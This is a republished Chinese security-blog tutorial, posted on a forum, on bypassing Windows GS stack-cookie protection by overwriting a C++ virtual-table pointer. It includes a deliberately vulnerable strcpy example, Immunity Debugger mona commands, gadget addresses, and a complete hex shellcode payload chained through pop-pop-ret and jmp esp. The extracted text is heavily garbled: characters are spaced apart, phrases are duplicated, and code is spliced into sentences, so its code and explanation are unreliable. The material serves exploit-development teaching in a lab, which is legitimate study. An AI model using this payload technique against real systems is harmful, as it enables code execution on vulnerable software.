搜索

[15529] 2020-06-24_图解利用虚函数过GS保护

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-06-24_图解利用虚函数过GS保护 图 解 利 用 虚 函 数 过 G S 保 护 m 0 1 i d u 0 d u 0   F r e e B u f   2 0 2 0 - 0 6 - 2 4 前 言 前 言 个 人 感 觉 利 用 虚 函 数 过 个 人 感 觉 利 用 虚 函 数 过 G S 保 护 过 程 稍 微 会 复 杂 些 ， 因 为 涉 及 到 多 次 跳 转 。 为 了 写 清 楚 利 用 虚 函 数 过 保 护 过 程 稍 微 会 复 杂 些 ， 因 为 涉 及 到 多 次 跳 转 。 为 了 写 清 楚 利 用 虚 函 数 过 G S ， 本 文 从 ， 本 文 从 p a y l o a d 构 造 切 入 ， 着 重 描 写 构 造 切 入 ， 着 重 描 写 p a y l o a d 构 建 过 程 ， 从 而 让 读 者 明 白 利 用 虚 构 建 过 程 ， 从 而 让 读 者 明 白 利 用 虚 函 数 过 函 数 过 G S 的 细 节 ； 并 且 在 的 细 节 ； 并 且 在 p a y l o a d 构 建 过 程 ， 对 跳 转 细 节 采 用 图 解 方 式 ， 让 读 者 跳 出 代 码 ， 先 理 清 楚 整 个 逻 辑 关 系 ， 然 后 再 载 入 构 建 过 程 ， 对 跳 转 细 节 采 用 图 解 方 式 ， 让 读 者 跳 出 代 码 ， 先 理 清 楚 整 个 逻 辑 关 系 ， 然 后 再 载 入 p a y l o a d ， 讲 解 整 个 ， 讲 解 整 个 p a y l o a d 运 行 过 程 。 （ 需 要 说 明 的 是 文 运 行 过 程 。 （ 需 要 说 明 的 是 文 中 的 寻 址 图 ， 仅 仅 为 了 更 清 楚 的 描 述 跳 转 过 程 ， 不 完 全 代 码 在 内 存 中 的 存 储 顺 序 ） 。 中 的 寻 址 图 ， 仅 仅 为 了 更 清 楚 的 描 述 跳 转 过 程 ， 不 完 全 代 码 在 内 存 中 的 存 储 顺 序 ） 。 b a l a b a l a ~ ~ 新 手 上 路 ， 请 多 多 关 爱 ， 如 有 写 的 不 好 的 地 方 ， 请 轻 喷 ， 感 谢 ！ ╮ 新 手 上 路 ， 请 多 多 关 爱 ， 如 有 写 的 不 好 的 地 方 ， 请 轻 喷 ， 感 谢 ！ ╮ ( ╯ ▽ ╰ ╯ ▽ ╰ ) ╭ ╭ 一 、 一 、 G S 保 护 保 护 我 们 知 道 普 通 的 栈 溢 出 漏 洞 是 通 过 覆 盖 返 回 地 址 ， 针 对 这 一 漏 洞 ， 微 软 在 编 译 时 使 用 了 一 个 安 全 编 译 选 项 G S ， V i s u a l   S t u d i o 默 认 启 用 了 这 个 编 译 选 项 ， 如 下 图 所 示 。 开 启 G S 保 护 后 ， 在 所 有 函 数 调 用 前 ， 会 先 向 栈 内 压 入 一 个 随 机 数 ， 这 个 随 机 数 被 称 作 c a n a r y 或 者 为 s e c u r i t y   c o o k i e ， 这 个 随 机 数 是 位 于 E B P 之 前 ， 并 且 系 统 还 会 在 . d a t a 内 存 区 域 存 放 一 个 s e c u r i t y c o o k i e 的 副 本 ； 在 函 数 返 回 前 ， 系 统 会 执 行 安 全 验 证 操 作 ， 即 c a l l   _ _ s e c u r i t y _ c h e c k _ c o o k i e ， 去 比 较 原 先 存 放 在 栈 中 的 c a n a r y 和 . d a t a 中 副 本 的 值 ， 如 果 两 者 不 一 致 ， 说 明 栈 中 发 生 了 溢 出 ， 因 此 之 前 通 过 覆 盖 返 回 值 来 实 现 栈 溢 出 是 不 可 行 的 。 因 此 开 启 了 过 G S 保 护 的 研 究 热 潮 ， 包 括 利 用 攻 击 异 常 过 G S 、 利 用 虚 函 数 过 G S 等 。 突 破 思 路 ： 突 破 思 路 ：   如 果 我 们 可 以 在 程 序 检 查 s e c u r i t y   c o o k i e 之 前 劫 持 程 序 流 程 的 话 ， 就 可 以 实 现 对 程 序 的 溢 出 了 。 二 、 虚 函 数 二 、 虚 函 数 在 C + + 中 ， 当 成 员 函 数 被 关 键 词 v i r t u a l 修 饰 时 ， 我 们 将 其 称 之 为 虚 函 数 。 首 先 我 们 需 要 知 道 虚 函 数 入 口 地 址 被 统 一 保 存 在 虚 表 中 。 当 对 象 在 使 用 虚 函 数 时 ， 先 通 过 虚 表 指 针 找 到 虚 表 ， 然 后 从 虚 表 中 取 出 最 终 的 函 数 入 口 地 址 进 行 函 数 调 用 。 可 以 看 到 虚 表 指 针 地 址 和 局 部 变 量 在 内 存 空 间 中 是 紧 接 着 的 。 因 此 猜 想 如 果 成 员 变 量 发 生 了 溢 出 ， 是 否 可 以 覆 盖 虚 表 指 针 虚 表 指 针 ， 将 虚 表 指 针 指 向 将 虚 表 指 针 指 向 p a y l o a d ， 通 过 精 心 构 造 p a y l o a d 能 否 成 功 执 行 s h e l l c o d e ？ 三 、 利 用 虚 函 数 过 三 、 利 用 虚 函 数 过 G S 实 例 实 例 3 . 1   实 验 环 境 实 验 环 境 环 境 |   备 注 | |   — -   |   — -   |   — -   | |   操 作 系 统   |   w i n 7   | |   编 译 器   |   V S 2 0 1 5   | |   编 译 选 项   |   需 要 打 开 G S ， 关 闭 D E P ， 关 闭 A L S R ， 关 闭 s a f e s e h 和 修 改 基 址   |   具 体 下 面 有 图   | |   b u i l d 版 本   |   r e l e a s e   | 编 译 选 项 具 体 如 下 ： 编 译 选 项 具 体 如 下 ： 1 ） 修 改 代 码 基 址 ， 如 修 改 为 0 x 4 1 4 0 0 0 0 0 ， 避 免 代 码 中 的 s t r c p y 存 在 0 0 截 断 。 2 ） 需 要 打 开 打 开 G S ： 项 目 属 性 → C / C + + → 代 码 生 成 - > 安 全 检 查 - > 启 用 安 全 检 查 ( G S )
3 ） 关 闭 D E P ， 关 闭 A L S R ， 关 闭 s a f e s e h ， 在 项 目 - > 属 性 - > 链 接 器 中 依 次 修 改 。 3 . 2 代 码 分 析 代 码 分 析 我 们 先 给 出 利 用 虚 函 数 过 G S 的 完 整 代 码 ， 包 括 传 入 的 p a y l o a d ， p a y l o a d 的 构 成 后 面 会 解 释 。 代 码 分 析 ： 1 ） 类 V i r 中 有 个 虚 函 数 v i r f u n ( ) 和 成 员 函 数 t e s t ( ) 。 在 成 员 函 数 t e s t 中 ， 将 传 入 的 数 据 p a y l o a d 作 为 参 数 ， 并 将 其 赋 值 到 成 员 变 量 b u f 中 ， 这 里 存 在 典 型 的 溢 出 漏 洞 。 2 ） 在 函 数 t e s t 中 也 调 用 了 虚 函 数 v i r f u n ( ) ， 因 此 b u f 变 量 发 生 溢 出 有 可 能 会 影 响 到 虚 函 数 指 针 。 3 ） 系 统 调 用 虚 函 数 是 在 检 查 s e c u r i t y   c o o k i e 之 前 ， 因 此 可 以 在 调 用 虚 函 数 时 ， 拿 到 程 序 控 制 ， 将 其 指 向 自 己 的 p a y l o a d 。 各 函 数 变 量 地 址 ： 为 了 更 好 的 理 解 后 面 的 p a y l o a d 构 造 ， 我 们 先 给 出 代 码 中 关 键 变 量 和 虚 函 数 相 关 地 址 。 其 中 虚 表 指 针 地 址 为 0 x 0 0 1 8 f f 3 4 ， 虚 表 地 址 为 0 x 4 1 4 0 2 2 5 4 ， 虚 函 数 入 口 地 址 为 0 x 4 1 4 0 1 0 7 0 ， 调 用 虚 函 数 v i r f u n ( ) 即 c a l l   0 x 4 1 4 0 1 0 7 0 。 原 始 参 数 s t r 首 地 址 为 0 x 4 1 4 0 2 1 3 8 ， 局 部 变 量 b u f 地 址 为 0 x 0 0 1 8 f e 2 4 。 通 过 虚 函 数 过 通 过 虚 函 数 过 G S 保 护 利 用 思 路 ： 保 护 利 用 思 路 ： 主 要 是 通 过 局 部 变 量 溢 出 ， 覆 盖 虚 表 指 针 值 ， 将 虚 表 指 针 指 向 我 们 精 心 构 造 的 p a y l o a d ， 下 面 我 们 就 详 细 说 明 p a y l o a d 的 构 造 过 程 。 3 . 3   p a y l o a d 构 造 构 造 为 了 精 准 覆 盖 虚 表 指 针 ， 我 们 首 先 需 要 计 算 偏 移 量 ， 即 虚 表 指 针 地 址 与 局 部 变 量 b u f 的 距 离 ， 然 后 将 虚 表 指 针 指 向 的 虚 表 地 址 0 x 4 1 4 0 2 2 5 4 覆 盖 成 原 始 参 数 s t r 的 首 地 址 0 x 4 1 4 0 2 1 3 8 ， 即 让 虚 表 指 针 指 向 原 始 参 数 。 计 算 偏 移 量 有 很 多 种 方 法 ， 可 以 直 接 手 算 虚 表 指 针 地 址 与 局 部 变 量 b u f 的 距 离 为 0 x 0 0 1 8 f f 3 4 - 0 x 0 0 1 8 f e 2 4 = 0 x 0 0 0 0 0 1 1 0 = 2 7 2 字 节 。 如 果 遇 到 难 算 的 可 以 利 用 I m m u n i t y   D e b u g g e r 工 具 生 成 字 符 串 ， 然 后 计 算 偏 移 量 。 这 里 还 是 演 示 下 做 法 。 ( 1 ) 利 用 I m m u n i t y   D e b u g g e r 工 具 生 成 3 0 0 字 节 的 字 符 串 ( 2 ) 打 开 I m m u n i t y   D e b u g g e r 工 具 所 在 目 录 的 p a t t e r n . t x t 文 件 ， 得 到 3 0 0 长 度 字 符 串 ： # i n c l u d e   " s t d a f x . h " # i n c l u d e   < w i n d o w s . h > # p r a g m a   w a r n i n g ( d i s a b l e : 4 9 9 6 ) / / 该 行 用 来 屏 蔽 s t r c p y 的 警 告 c l a s s   V i r   { p u b l i c :         v o i d   t e s t ( c h a r *   s t r )         {                 c h a r   b u f [ 0 x 1 0 0 ] ; / / 局 部 变 量 b u f                 s t r c p y ( b u f ,   s t r ) ;                 p r i n t f ( ！ m o n a   p c   3 0 0
( 3 ) 传 入 3 0 0 字 符 串 ， 调 试 运 行 ， 报 错 ， 复 制 报 错 地 址 0 x 3 1 6 A 4 1 3 0 ( 4 ) 计 算 偏 移 量 ， 得 到 偏 移 量 为 2 7 2 这 时 候 的 p a y l o a d 构 成 初 步 如 下 ： 虚 函 数 寻 址 变 成 了 下 图 所 示 。 图 中 完 成 了 将 虚 表 指 针 指 向 原 始 参 数 s t r ( 0 x 4 1 4 0 2 1 3 8 ) ， 实 现 了 虚 表 指 针 跳 到 了 原 始 参 数 上 （ 原 先 的 虚 表 ） ， 但 是 我 们 知 道 虚 表 指 针 跳 到 虚 表 ， 然 后 继 续 跳 转 到 虚 函 数 地 址 处 ， 执 行 虚 函 数 地 址 处 的 代 码 。 因 此 下 一 步 我 们 需 要 考 虑 虚 函 数 地 址 填 什 么 （ 图 中 问 号 ？ ？ ？ 处 ） ？ 即 原 始 参 数 s t r ( p a y l o a d ) 前 四 个 字 节 的 值 。 这 里 我 们 需 要 考 虑 两 个 问 题 ： 1 )   图 中 问 号 处 的 内 容 必 须 是 地 址 （ 可 跳 转 ） ， 而 不 是 数 据 2 )   面 临 着 一 个 c a l l 操 作 ， 即 c a l l   虚 函 数 地 址 ， 因 此 我 们 要 考 虑 怎 么 能 执 行 完 c a l l 后 ， 还 可 以 回 到 s h e l l c o d e 内 存 空 间 继 续 执 行 呢 ？ 这 里 我 们 知 道 存 储 s h e l l c o d e 内 存 空 间 有 两 块 ， 一 个 是 原 始 参 数 s t r 处 ( 0 x 4 1 4 0 2 1 3 8 ) ， 第 二 个 是 通 过 s t r c p y 函 数 赋 值 成 功 的 局 部 变 量 b u f ( 0 x 0 0 1 8 f e 2 4 ) ， 这 个 时 候 我 们 需 要 观 察 栈 和 寄 存 器 的 状 态 ， 如 下 图 所 示 。 首 先 我 们 发 现 原 始 参 数 ( 0 x 4 1 4 0 2 1 3 8 ) 不 在 栈 中 ， 因 此 无 法 跳 回 原 始 参 数 的 内 存 空 间 继 续 执 行 ， 但 是 惊 喜 的 发 现 b u f 首 地 址 0 x 1 8 F E 2 4 = E S P + 4 ， 又 想 到 跳 转 后 紧 接 着 执 行 的 是 c a l l 操 作 ， 于 是 我 们 只 需 要 执 行 “ p o p   p o p   r e t ” 指 令 序 列 （ 后 面 简 称 p p t ） 后 就 可 以 转 到 b u f 首 地 址 0 x 0 0 1 8 F E 2 4 执 行 ， 因 为 c a l l 操 作 会 将 返 回 地 址 入 栈 ， 即 e s p 为 0 x 0 0 1 8 F E 1 C ， 然 后 p o p   p o p   , 在 r e t 时 ， 栈 顶 为 0 x 0 0 1 8 F E 2 4 ， 就 可 以 转 到 0 x 0 0 1 8 F E 2 4 处 执 行 了 。 因 此 这 时 候 ， 我 们 只 需 要 找 到 p p t 指 令 序 列 地 址 ， 可 以 利 用 I m m u n i t y   D e b u g g e r 工 具 找 ， 加 载 当 前 e x e ， 使 用 ! m o n a   s e h   指 令 搜 索 p p t 指 令 地 址 ， 如 下 图 。 我 们 搜 到 7 个 p p t 指 令 序 列 地 址 ， 这 里 选 择 的 要 求 为 p p t 指 令 序 列 操 作 不 影 响 当 前 程 序 流 程 ， 因 此 选 择 不 带 e b p   e s p 这 种 指 令 就 可 。 这 里 我 们 选 择 的 p p t 指 令 序 列 地 址 为 0 x 4 1 4 0 1 3 5 3 。 这 时 候 的 p a y l o a d 结 构 为 ： A a 0 A a 1 A a 2 A a 3 A a 4 A a 5 A a 6 A a 7 A a 8 A a 9 A b 0 A b 1 A b 2 A b 3 A b 4 A b 5 A b 6 A b 7 A b 8 A b 9 A c 0 A c 1 A c 2 A c 3 A c 4 A c 5 A c 6 A c 7 A c 8 A c 9 A d 0 A d 1 A d 2 A d 3 A d 4 A d 5 A d 6 A d 7 A d 8 A d 9 A e 0 A e 1 A e 2 A e 3 A e 4 A e 5 A e 6 A e 7 A e 8 A e 9 A f 0 A f 1 A f 2 A f 3 A f 4 A f 5 A f 6 A f 7 A f 8 A f 9 A g 0 A g 1 A g 2 A g 3 A g 4 A g 5 A g 6 A g 7 A g 8 A g 9 A h 0 A h 1 A h 2 A h 3 A h 4 A h 5 A h 6 A h 7 A h 8 A h 9 A i 0 A i 1 A i 2 A i 3 A i 4 A i 5 A i 6 A i 7 A i 8 A i 9 A j 0 A j 1 A j 2 A j 3 A j 4 A j 5 A j 6 A j 7 A j 8 A j 9 ! m o n a   p o   0 x 3 1 6 A 4 1 3 0       或 者 ! m o n a   p o   0 A j 1
写 到 这 里 ， 可 能 会 想 到 p p t 地 址 后 ， 直 接 + s h e l l c o d e + 填 充 + 原 始 参 数 地 址 ， 即 可 构 成 最 后 的 p a y l o a d ， 但 是 事 实 却 没 有 这 么 简 单 ， 我 看 了 很 多 网 上 的 教 程 ， 大 部 分 人 都 只 写 到 了 这 里 ， 便 可 以 成 功 执 行 s h e l l c o d e ， 但 是 我 仔 细 调 试 了 代 码 ， 发 现 是 存 在 问 题 的 。 因 为 跳 到 b u f 内 存 后 ， 0 x 0 0 1 8 F E 2 4 处 是 个 p p t 指 令 序 列 地 址 0 x 4 1 4 0 1 3 5 3 ， 就 会 再 一 次 执 行 p p t 指 令 序 列 ， 因 此 又 如 何 重 新 返 回 当 前 s h e l l c o d e 内 存 空 间 呢 ？ 这 里 我 们 先 理 下 整 体 思 路 ， 如 下 图 所 示 。 我 们 需 要 知 道 局 部 变 量 b u f 和 原 始 参 数 的 值 都 为 p a y l o a d 数 据 。 然 后 结 合 上 图 对 跳 转 进 行 如 下 分 析 ： 1 跳 ： 跳 ： 利 用 局 部 变 量 b u f 溢 出 ， 将 虚 表 指 针 精 准 覆 盖 为 原 始 参 数 地 址 0 x 4 1 4 0 2 1 3 8 ， 因 此 通 过 虚 表 指 针 跳 到 原 始 参 数 地 址 处 。 2 跳 ： 跳 ： 和 经 过 分 析 栈 状 态 ， 发 现 不 可 能 跳 回 原 始 参 数 内 存 区 域 ， 但 发 现 局 部 变 量 b u f 地 址 = 当 前 e s p + 4 ， 并 且 知 道 将 执 行 c a l l 指 令 ， 结 合   上 述 两 点 ， 只 需 要 将 虚 函 数 地 址 填 为 p p t 指 令 序 列 地 址 ， 即 可 完 成 跳 到 s h e l l c o d e 内 存 区 域 ， 即 局 部 变 量 b u f 地 址 处 。 这 里 2 跳 是 指 将 虚 函 数 地 址 填 充 为 p p t 指 令 序 列 地 址 ， 然 后 执 行 虚 函 数 ， 即 c a l l   0 x 4 1 4 0 1 3 5 3 ( p p t 指 令 序 列 地 址 ) ， 将 返 回 地 址 入 栈 。 3 跳 跳 ： 跳 转 到 p p t 指 令 序 列 地 址 ， 执 行 p o p   e c x ;   p o p   e c x ; 后 ， 栈 顶 为 0 x 0 0 1 8 f e 2 4 ， 然 后 r e t ， 跳 到 局 部 变 量 b u f 首 地 址 处 。 4 跳 ： 跳 ： 这 个 时 候 ， 跳 到 局 部 变 量 b u f 首 地 址 处 ， 发 现 ， 当 前 地 址 0 x 0 0 1 8 f e 2 4 内 容 为 p p t 指 令 序 列 地 址 0 x 4 1 4 0 1 3 5 3 ， 因 此 会 再 一 次 p o p 两 次 出 0 x 0 0 1 8 f e 2 8 和 0 x 0 0 1 8 f e 2 C 的 值 ， 然 后 执 行 r e t 指 令 ， 挑 转 到 0 x 1 8 f f e 3 0 处 ， E I P = ? ? ? （ 图 中 ） ， 跳 到 ? ? ? 处 。 这 个 的 ? ? ? 必 须 是 地 址 ， 并 且 能 够 再 次 跳 回 s h e l l c o d e 栈 空 间 执 行 ， 这 时 候 观 察 堆 栈 状 态 ， 发 现 e s p = 0 x 0 0 1 8 f e 3 4 ， 因 此 很 容 易 想 到 0 x 0 0 1 8 f e 3 0 处 填 的 是 j m p   e s p 地 址 。 5 跳 ： 跳 ： j m p   e s p ， 跳 到 0 x 0 0 1 8 F E 3 4 ， 执 行 s h e l l c o d e 。 j m p e s p 地 址 可 以 利 用 I m m u n i t y   D e b u g g e r 工 具 搜 索 ： 得 到 j m p e s p 地 址 为 0 x 4 1 4 0 1 0 a f 指 令 ： 这 里 需 要 说 明 0 x 0 0 1 8 f e 2 8 和 0 x 0 0 1 8 f e 2 C 地 址 的 值 可 以 任 意 填 充 , 不 影 响 程 序 流 程 的 指 令 即 可 ， 这 里 用 “ x 9 0 ” 填 充 ， 因 为 他 们 只 需 要 p o p 出 去 就 可 。 我 习 惯 s h e l l c o d e 前 加 n o p 滑 轨 方 便 调 试 ， 因 此 综 上 分 析 ， 最 终 p a y l o a d 结 构 为 ： 3 . 4   代 码 跟 踪 代 码 跟 踪 为 了 更 好 的 理 解 利 用 虚 函 数 过 G S 保 护 过 程 ， 最 后 我 们 利 用 构 造 好 的 p a y l o a d ， 来 跟 踪 下 执 行 过 程 。 这 里 只 贴 出 关 键 点 的 图 片 。 先 看 下 各 变 量 的 地 址 。 ! m o n a   j m p   - r   e s p " x 5 3 x 1 3 x 4 0 x 4 1 "       / / p p t 指 令 序 列 地 址       " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x a f x 1 0 x 4 0 x 4 1 " / / j m p e s p 地 址 * 3     " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 "       / / n o p 滑 轨         " x 3 1 x d 2 x b 2 x 3 0 x 6 4 x 8 b x 1 2 x 8 b x 5 2 x 0 c x 8 b x 5 2 x 1 c x 8 b x 4 2 " / / s h e l l c o d e " x 0 8 x 8 b x 7 2 x 2 0 x 8 b x 1 2 x 8 0 x 7 e x 0 c x 3 3 x 7 5 x f 2 x 8 9 x c 7 x 0 3 " " x 7 8 x 3 c x 8 b x 5 7 x 7 8 x 0 1 x c 2 x 8 b x 7 a x 2 0 x 0 1 x c 7 x 3 1 x e d x 8 b " " x 3 4 x a f x 0 1 x c 6 x 4 5 x 8 1 x 3 e x 4 6 x 6 1 x 7 4 x 6 1 x 7 5 x f 2 x 8 1 x 7 e " " x 0 8 x 4 5 x 7 8 x 6 9 x 7 4 x 7 5 x e 9 x 8 b x 7 a x 2 4 x 0 1 x c 7 x 6 6 x 8 b x 2 c " " x 6 f x 8 b x 7 a x 1 c x 0 1 x c 7 x 8 b x 7 c x a f x f c x 0 1 x c 7 x 6 8 x 7 9 x 7 4 " " x 6 5 x 0 1 x 6 8 x 6 b x 6 5 x 6 e x 4 2 x 6 8 x 2 0 x 4 2 x 7 2 x 6 f x 8 9 x e 1 x f e " " x 4 9 x 0 b x 3 1 x c 0 x 5 1 x 5 0 x f f x d 7 "   " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 " " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 " " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 " " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 " " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 "   " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 " / / 滑 轨     " x 3 8 x 2 1 x 4 0 x 4 1 " ) ; / / 原 始 参 数 地 址
下 图 可 以 看 到 虚 表 指 针 ( 0 x 0 0 1 8 F F 3 4 ) 已 经 指 向 原 始 参 数 ( 0 x 4 1 4 0 2 1 3 8 ) ， 原 始 参 数 也 已 经 指 向 p p t 指 令 序 列 地 址 ( 0 x 4 1 4 0 1 3 5 3 ) 。 下 图 ， 执 行 虚 函 数 c a l l   0 x 4 1 4 0 2 1 3 8 ( 原 始 参 数 地 址 ) ， 并 且 可 以 看 到 当 前 e s p + 4 = b u f 首 地 址 ( 0 x 0 0 1 8 F F 3 4 ) 。 下 图 ， 执 行 c a l l 函 数 后 ， 返 回 地 址 入 栈 ， 这 时 候 可 以 看 到 当 前 e s p 为 0 x 0 0 1 8 F E 1 C , 然 后 继 续 执 行 p p t 指 令 序 列 0 x 4 1 4 0 1 3 5 3 ， p o p 两 次 后 ， 将 栈 顶 e s p 0 0 1 8 F E 2 4 处 的 p p t 序 列 指 令 0 x 4 1 4 0 1 3 5 3 给 E I P ， 再 一 次 跳 转 到 0 x 4 1 4 0 1 3 5 3 地 址 。 下 图 ， 这 时 候 看 到 当 前 e s p 为 0 x 1 8 F E 2 8 下 图 ， 执 行 P o p   p o p 指 令 ， 将 2 个 ” x 9 0 x 9 0 x 9 0 x 9 0 ” p o p 出 ， 当 前 e s p = 0 x 0 0 1 8 F E 3 0 ， 然 后 r e t ， 将 跳 转 到 0 x 0 0 1 8 F E 3 0 处 的 0 x 4 1 4 0 1 0 a f 处 （ j m p e s p 地 址 ） 跳 到 j m p e s p 指 令 地 址 ， 然 后 执 行 指 令   j m p   e s p
重 新 跳 回 s h e l l c o d e 内 存 区 域 ， 0 x 0 0 1 8 F E 3 4 处 ， 开 始 执 行 n o p 滑 轨 ， 紧 接 着 为 s h e l l c o d e ， 这 样 就 成 功 执 行 了 s h e l l c o d e 。 四 、 小 结 四 、 小 结 思 路 ： 思 路 ： 精 准 覆 盖 虚 表 指 针 为 原 始 参 数 地 址 ， 然 后 利 用 P P T 指 令 序 列 跳 板 ， 跳 到 局 部 变 量 内 存 区 间 ， 然 后 执 行 局 部 变 量 内 存 的 P P T 序 列 ， 再 利 用 j m p e s p 跳 板 重 新 跳 回 局 部 变 量 内 存 空 间 ， 执 行 s h e l l c o d e 。 这 里 需 要 说 明 的 有 两 点 ： 1 ） 我 看 到 网 上 也 有 将 虚 表 指 针 直 接 覆 盖 为 局 部 变 量 地 址 ， 局 部 变 量 地 址 是 0 x 0 0 开 头 ， 虽 然 s t r c p y 存 在 0 0 截 断 ， 但 是 因 为 虚 表 指 针 放 在 p a y l o a d 最 后 面 ， 即 使 最 后 个 0 0 字 节 截 断 ， 但 是 原 有 系 统 高 位 就 是 0 0 ， 因 此 也 可 成 功 将 虚 表 指 针 直 接 覆 盖 为 局 部 变 量 地 址 。 例 如 ” x 2 4 x f e x 1 8 x 0 0 ” 。 2 ） 无 论 是 将 虚 表 地 址 覆 盖 为 原 始 参 数 地 址 还 是 局 部 变 量 地 址 ， 我 跟 踪 的 跳 转 流 程 和 p a y l o a d 构 造 和 本 文 写 的 差 不 多 ， 但 是 我 发 现 网 上 博 客 和 书 上 都 没 有 提 到 二 次 P P T ， 从 而 也 没 有 用 到 j m p e s p 跳 板 ， 也 成 功 执 行 了 s h e l l c o d e 。 这 里 我 是 保 留 疑 问 的 ， 如 果 大 家 也 有 疑 问 可 以 互 相 交 流 。 R E F 《 0 d a y 安 全 ： 软 件 漏 洞 分 析 技 术 》 * 本 文 作 者 ： 本 文 作 者 ： m 0 1 i d u 0 d u 0 ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理